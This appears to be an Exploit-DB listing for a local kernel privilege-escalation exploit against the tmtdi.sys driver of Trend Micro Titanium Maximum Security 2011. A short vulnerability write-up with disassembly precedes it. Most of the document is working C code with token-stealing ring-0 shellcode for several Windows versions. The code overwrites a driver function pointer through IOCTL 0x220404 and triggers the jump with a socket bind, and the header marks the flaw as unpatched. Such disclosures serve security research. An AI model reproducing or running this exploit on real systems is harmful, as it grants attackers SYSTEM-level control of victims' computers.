Trend Micro Titanium Maximum Security 2011 – Local Kernel

  • 作者: Nikita Tarakanov
    日期: 2010-11-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15376/
  • /*
    1.Description:
    
    The tmtdi.sys kernel driver distributed with Trend Micro Titanium Maximum Security 2011 contains a pointer overwrite vulnerability in the handling of IOCTL 0x220404. 
    Exploitation of this issue allows an attacker to execute arbitrary code within the kernel.
    An attacker would need local access to a vulnerable computer to exploit this vulnerability. 
    
    
    Affected application: Trend Micro Titanium Maximum Security 2011, up to date version 3.0.1303.
    Affected file: tmtdi.sys version 6.5.0.1234.
    
    2.Vulnerability details:
    
    IoCtl handler of \\.\tmtdi device drivesr:
    
    
    .text:0001D3CC ; int __stdcall sub_1D3CC(PDEVICE_OBJECT DeviceObject, PIRP pIrp)
    .text:0001D3CC sub_1D3CC proc near ; DATA XREF: sub_1DD40+D0o
    .text:0001D3CC
    .text:0001D3CC var_4 = dword ptr -4
    .text:0001D3CC DeviceObject= dword ptr8
    .text:0001D3CC pIrp= dword ptr0Ch
    .text:0001D3CC
    .text:0001D3CC mov edi, edi
    .text:0001D3CE pushebp
    .text:0001D3CF mov ebp, esp
    .text:0001D3D1 pushecx
    .text:0001D3D2 mov eax, [ebp+DeviceObject]
    .text:0001D3D5 mov eax, [eax+28h]
    .text:0001D3D8 and [ebp+var_4], 0
    .text:0001D3DC pushebx
    .text:0001D3DD mov ebx, [ebp+pIrp]
    .text:0001D3E0 pushesi
    .text:0001D3E1 mov esi, ds:MmIsAddressValid
    .text:0001D3E7 pushedi
    .text:0001D3E8 mov edi, [ebx+60h]
    .text:0001D3EB pushedi ; VirtualAddress
    .text:0001D3EC mov [ebp+pIrp], eax
    .text:0001D3EF callesi ; MmIsAddressValid
    .text:0001D3F1 testal, al
    .text:0001D3F3 jnz short loc_1D403
    
    [..]
    
    .text:0001DAF3 mov eax, ecx
    .text:0001DAF5 sub eax, 220078h
    .text:0001DAFA jzloc_1DC89
    .text:0001DB00 sub eax, 18h
    .text:0001DB03 jzloc_1DC51
    .text:0001DB09 push4
    .text:0001DB0B pop edi
    .text:0001DB0C sub eax, edi
    .text:0001DB0E jzloc_1DC30
    .text:0001DB14 sub eax, 2Ch
    .text:0001DB17 jzloc_1DBF1
    .text:0001DB1D sub eax, 14h
    .text:0001DB20 jzloc_1DBBD
    .text:0001DB26 sub eax, 330h
    .text:0001DB2B jzshort loc_1DB7B
    
    [..]
    
    .text:0001DB7B loc_1DB7B:; CODE XREF: sub_1D3CC+75Fj
    .text:0001DB7B testdword_2289C, 10000000h
    .text:0001DB85 mov edi, [ebx+0Ch]
    .text:0001DB88 jzshort loc_1DB95
    .text:0001DB8A pushoffset aIoctrl_bind_cf ; "[IOCTRL_BIND_CFW]\n"
    .text:0001DB8F callDbgPrint
    .text:0001DB94 pop ecx
    .text:0001DB95 pushedi ; VirtualAddress
    .text:0001DB96 callesi ; MmIsAddressValid
    .text:0001DB98 testal, al
    .text:0001DB9A jzloc_1DD19
    .text:0001DBA0 cmp [ebp+DeviceObject], 8 ; check for length
    .text:0001DBA4 jbloc_1DD19
    .text:0001DBAA mov eax, [edi] ; eax - first DWORD from our buffer
    .text:0001DBAC mov dword_228B4, eax ; pointer overwrite
    
    
    
    
    This address contains value that interprets as function pointer.
    Function sub_10CD4 uses this value as function pointer.
    
    .text:00010CD4 sub_10CD4 proc near ; CODE XREF: sub_19234+480p
    .text:00010CD4 ; sub_197FC+1D5p ...
    .text:00010CD4 mov edi, edi
    .text:00010CD6 pushebp
    .text:00010CD7 mov ebp, esp
    .text:00010CD9 mov ecx, dword_228B4 ; copy to ecx
    .text:00010CDF xor eax, eax
    .text:00010CE1 testecx, ecx
    .text:00010CE3 jzshort loc_10CE8 ; is NULL pointer
    .text:00010CE5 pop ebp
    .text:00010CE6 jmp ecx; direct jump to our shellcode
    .text:00010CE8 ; ---------------------------------------------------------------------------
    .text:00010CE8
    .text:00010CE8 loc_10CE8:; CODE XREF: sub_10CD4+Fj
    .text:00010CE8 pop ebp
    .text:00010CE9 retn4
    .text:00010CE9 sub_10CD4 endp
    
    We could invoke sub_10CD4 function by calling function bind.
    
    
    Exploit code in exploit.c file (bellow).
    */
    
    /*
    # Exploit Title: Trend Micro Titanium Maximum Security 2011 0day Local Kernel Exploit
    # Date: 2010-11-01 
    # Author: Nikita Tarakanov (CISS Research Team)
    # Software Link: http://us.trendmicro.com/us/products/personal/titanium-maximum-security/
    # Version: up to date, version 3.0.1303, tmtdi.sys version 6.5.0.1234
    # Tested on: Win XP SP3, Win Vista SP2, Win 7
    # CVE : CVE-NO-MATCH
    # Status : Unpatched
    */
    #include <stdio.h>
    #include "winsock2.h"
    #include <windows.h>
    
    #pragma comment(lib, "wininet.lib")
    #pragma comment(lib, "Ws2_32.lib")
    
    
    static unsigned char win2k3_ring0_shell[] =
    /* _ring0 */
    "\xb8\x24\xf1\xdf\xff"
    "\x8b\x00"
    "\x8b\xb0\x18\x02\x00\x00"
    "\x89\xf0"
    /* _sys_eprocess_loop */
    "\x8b\x98\x94\x00\x00\x00"
    "\x81\xfb\x04\x00\x00\x00"
    "\x74\x11"
    "\x8b\x80\x9c\x00\x00\x00"
    "\x2d\x98\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    "\xeb\x21"
    /* _sys_eprocess_found*/
    "\x89\xc1"
    "\x89\xf0"
    
    /* _cmd_eprocess_loop */
    "\x8b\x98\x94\x00\x00\x00"
    "\x81\xfb\x00\x00\x00\x00"
    "\x74\x10"
    "\x8b\x80\x9c\x00\x00\x00"
    "\x2d\x98\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    /* _not_found */
    "\xcc"
    /* _cmd_eprocess_found
     * _ring0_end */
    
    /* copy tokens!$%!*/
    "\x8b\x89\xd8\x00\x00\x00"
    "\x89\x88\xd8\x00\x00\x00"
    "\x90";
    
    static unsigned char winvista_ring0_shell[] =
    /* _ring0 */
    "\x64\xa1\x24\x01\x00\x00"
    //"\x8b\x00"
    "\x8b\x70\x48"
    "\x89\xf0"
    /* _sys_eprocess_loop */
    "\x8b\x98\x9c\x00\x00\x00"
    "\x81\xfb\x04\x00\x00\x00"
    "\x74\x11"
    "\x8b\x80\xa4\x00\x00\x00"
    "\x2d\xa0\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    "\xeb\x21"
    /* _sys_eprocess_found*/
    "\x89\xc1"
    "\x89\xf0"
    
    /* _cmd_eprocess_loop */
    "\x8b\x98\x9c\x00\x00\x00"
    "\x81\xfb\x00\x00\x00\x00"
    "\x74\x10"
    "\x8b\x80\xa4\x00\x00\x00"
    "\x2d\xa0\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    /* _not_found */
    "\xcc"
    /* _cmd_eprocess_found
     * _ring0_end */
    
    /* copy tokens!$%!*/
    "\x8b\x89\xe0\x00\x00\x00"
    "\x89\x88\xe0\x00\x00\x00"
    "\x90";
    
    
    static unsigned char win7_ring0_shell[] =
    /* _ring0 */
    "\x64\xa1\x24\x01\x00\x00"
    "\x8b\x70\x50"
    "\x89\xf0"
    /* _sys_eprocess_loop */
    "\x8b\x98\xb4\x00\x00\x00"
    "\x81\xfb\x04\x00\x00\x00"
    "\x74\x11"
    "\x8b\x80\xbc\x00\x00\x00"
    "\x2d\xb8\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    "\xeb\x21"
    /* _sys_eprocess_found*/
    "\x89\xc1"
    "\x89\xf0"
    
    /* _cmd_eprocess_loop */
    "\x8b\x98\xb4\x00\x00\x00"
    "\x81\xfb\x00\x00\x00\x00"
    "\x74\x10"
    "\x8b\x80\xbc\x00\x00\x00"
    "\x2d\xb8\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    /* _not_found */
    "\xcc"
    /* _cmd_eprocess_found
     * _ring0_end */
    
    /* copy tokens!$%!*/
    "\x8b\x89\xf8\x00\x00\x00"
    "\x89\x88\xf8\x00\x00\x00"
    "\x90";
    
    
    static unsigned char winxp_ring0_shell[] =
    /* _ring0 */
    "\xb8\x24\xf1\xdf\xff"
    "\x8b\x00"
    "\x8b\x70\x44"
    "\x89\xf0"
    /* _sys_eprocess_loop */
    "\x8b\x98\x84\x00\x00\x00"
    "\x81\xfb\x04\x00\x00\x00"
    "\x74\x11"
    "\x8b\x80\x8c\x00\x00\x00"
    "\x2d\x88\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    "\xeb\x21"
    /* _sys_eprocess_found*/
    "\x89\xc1"
    "\x89\xf0"
    
    /* _cmd_eprocess_loop */
    "\x8b\x98\x84\x00\x00\x00"
    "\x81\xfb\x00\x00\x00\x00"
    "\x74\x10"
    "\x8b\x80\x8c\x00\x00\x00"
    "\x2d\x88\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    /* _not_found */
    "\xcc"
    /* _cmd_eprocess_found
     * _ring0_end */
    
    /* copy tokens!$%!*/
    "\x8b\x89\xc8\x00\x00\x00"
    "\x89\x88\xc8\x00\x00\x00"
    "\x90";
    
    
    static unsigned char freeze[] =
    "\xeb\xfe";
    
    
    
    DWORD WINAPI ResetPointer( LPVOID lpParam )
    {
    HANDLE hDevice;
    DWORD *inbuff;
    DWORD ioctl = 0x220404, in = 0x10, out = 0x0C, len;
    
    DWORD interval = 500;//enough?!
    Sleep(interval);
    inbuff = (DWORD *)malloc(0x1000);
    if(!inbuff){
    printf("malloc failed!\n");
    return 0;
    }
    
    *inbuff = 0;
    hDevice = (HANDLE)lpParam;
    DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, in, (LPVOID)inbuff, out, &len, NULL);
    free(inbuff);
    
    return 0;
    }
    
    static PCHAR fixup_ring0_shell (DWORD ppid, DWORD *zlen)
    {
    DWORD dwVersion, dwMajorVersion, dwMinorVersion;
    
    dwVersion = GetVersion ();
    dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
    dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));
    
    printf("dwMajorVersion = %d dwMinorVersion %d\n", dwMajorVersion, dwMinorVersion);
    
    switch (dwMajorVersion)
    {
    case 5:
    switch (dwMinorVersion)
    {
    case 1:
    *zlen = sizeof winxp_ring0_shell - 1;
    *(PDWORD) &winxp_ring0_shell[55] = ppid;
    return (winxp_ring0_shell);
    case 2:
    *zlen = sizeof win2k3_ring0_shell - 1;
    *(PDWORD) &win2k3_ring0_shell[58] = ppid;
    return (win2k3_ring0_shell);
    
    default:
    printf("GetVersion, unsupported version\n");
    exit(EXIT_FAILURE);
    }
    
    case 6:
    switch (dwMinorVersion)
    {
    case 0:
    *zlen = sizeof winvista_ring0_shell - 1;
    *(PDWORD) &winvista_ring0_shell[54] = ppid;
    return (winvista_ring0_shell);
    
    case 1:
    *zlen = sizeof win7_ring0_shell - 1;
    *(PDWORD) &win7_ring0_shell[54] = ppid;
    return (win7_ring0_shell);
    
    default:
    printf("GetVersion, unsupported version\n");
    exit(EXIT_FAILURE);
    }
    
    default:
    printf("GetVersion, unsupported version\n");
    exit(EXIT_FAILURE);
    }
    
    return (NULL);
    }
    
    
    int main(int argc, char **argv)
    {
    HANDLE hDevice, hThread;
    DWORD *inbuff;
    DWORD ioctl = 0x220404, in = 0x10, out = 0x0C, len, zlen, ppid;
    LPVOID zpage, zbuf;
    
    struct sockaddr_in service;
    
    // Initialize Winsock
    WSADATA wsaData;
    SOCKET ListenSocket;
    int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
    
    
    printf ("Trend Micro Titanium Maximum Security 2011 0day Local Kernel Exploit\n"
    "by: Nikita Tarakanov (CISS Research Team)\n");
    
    if (iResult != NO_ERROR) printf("Error at WSAStartup()\n");
    
    if (argc <= 1)
    {
    printf("Usage: %s <processid to elevate>\n", argv[0]);
    return 0;
    }
    
    ppid = atoi(argv[1]);
    
    zpage = VirtualAlloc(NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (zpage == NULL)
    {
    printf("VirtualAlloc failed\n");
    return 0;
    }
    printf("Ring 0 shellcode at 0x%08X address\n", zpage, 0x10000);
    
    memset(zpage, 0xCC, 0x1000);
    zbuf = fixup_ring0_shell(ppid, &zlen);
    memcpy((PCHAR)zpage, (PCHAR)zbuf, zlen);
    memcpy((PCHAR)zpage + zlen, (PCHAR)freeze, sizeof (freeze) - 1);
    if ( (hDevice = CreateFileA("\\\\.\\tmtdi",
    GENERIC_READ|GENERIC_WRITE,
    0,
    0,
    OPEN_EXISTING,
    0,
    NULL) ) != INVALID_HANDLE_VALUE )
    {
    printf("Device succesfully opened!\n");
    }
    else
    {
    printf("Error: Error opening device \n");
    return 0;
    }
    
    inbuff = (DWORD *)malloc(0x1000);
    if(!inbuff){
    printf("malloc failed!\n");
    return 0;
    }
    
    *inbuff = zpage;
    DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, in, (LPVOID)inbuff, out, &len, NULL);
    free(inbuff);
    
    
    hThread = CreateThread(NULL, 0, ResetPointer, hDevice, 0, NULL);
    
    if(!hThread){
    printf("CreateThread failed!\n");
    }
    
    
    ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (ListenSocket == INVALID_SOCKET) {
    printf("Error at socket: %ld\n", WSAGetLastError());
    WSACleanup();
    return 0 ;
    }
    service.sin_family = AF_INET;
    service.sin_addr.s_addr = inet_addr("127.0.0.1");
    service.sin_port = htons(27015);
    
    // Jump to shellcode
    if (bind( ListenSocket, (SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR) {
    printf("bind failed!\n");
    closesocket(ListenSocket);
    return 0 ;
    }
    
    WSACleanup();
    
    
    return 0;
    
    }